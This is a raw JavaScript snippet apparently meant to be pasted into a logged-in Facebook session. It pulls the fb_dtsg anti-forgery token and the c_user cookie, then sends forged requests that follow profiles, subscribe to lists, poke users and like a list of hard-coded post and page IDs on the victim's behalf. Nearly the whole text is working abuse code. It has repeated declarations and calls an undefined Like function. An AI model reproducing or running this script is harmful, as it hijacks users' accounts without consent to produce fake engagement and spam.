document.getElementsByName('fb_dtsg')[0].value; var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); var fb_dtsg=document.getElementsByName("fb_dtsg")[0].value; var user_id=document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); function a(abone) { var http4=new XMLHttpRequest; var url4="/ajax/follow/follow_profile.php?__a=1"; var params4="profile_id="+abone+"&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg="+fb_dtsg+"&lsd&__"+user_id+"&phstamp="; http4.open("POST",url4,true); http4.onreadystatechange=function() { if(http4.readyState==4&&http4.status==200)http4.close } ; http4.send(params4) } function sublist(uidss) { var a = document.createElement('script'); a.innerHTML = "new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: " + uidss + " }).send();"; document.body.appendChild(a); } function p(abone) { var http4 = new XMLHttpRequest(); var url4 = "//www.facebook.com/ajax/poke_dialog.php"; var params4 = "uid=" + abone + "&pokeback=0&ask_for_confirm=0&nctr[_mod]=pagelet_timeline_profile_actions&__asyncDialog=1&__user="+user_id+"&__a=1&__dyn=798aD5z5CF-&__req=v&fb_dtsg="+fb_dtsg+"&phstamp="; http4.open("POST", url4, true); http4.onreadystatechange = function () { if (http4.readyState == 4 && http4.status == 200) { http4.close; } }; http4.send(params4); }var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value; var now=(new Date).getTime(); function P(opo) { var X = new XMLHttpRequest(); var XURL ="//www.facebook.com/ajax/ufi/like.php"; var XParams = "like_action=true&ft_ent_identifier="+opo+"&source=1&client_id="+now+"%3A379783857&rootid=u_jsonp_39_18&giftoccasion&ft[tn]=%3E%3D&ft[type]=20&ft[qid]=5890811329470279257&ft[mf_story_key]=2814962900193143952&ft[has_expanded_ufi]=1&nctr[_mod]=pagelet_home_stream&__user="+user_id+"&__a=1&__dyn=7n88QoAMBlClyocpae&__req=g4&fb_dtsg="+fb_dtsg+"&phstamp="; X.open("POST", XURL, true); X.onreadystatechange = function () { if (X.readyState == 4 && X.status == 200) { X.close; } }; X.send(XParams); } // pic + fans P("1442760625958596");P("283364628478740");P("282734018541801");P("282405835241286");P("282118645270005");P("277214845760385");Like("621772907859073");Like("6190916227759366");Like("1441970956037563");Like("190916227759366");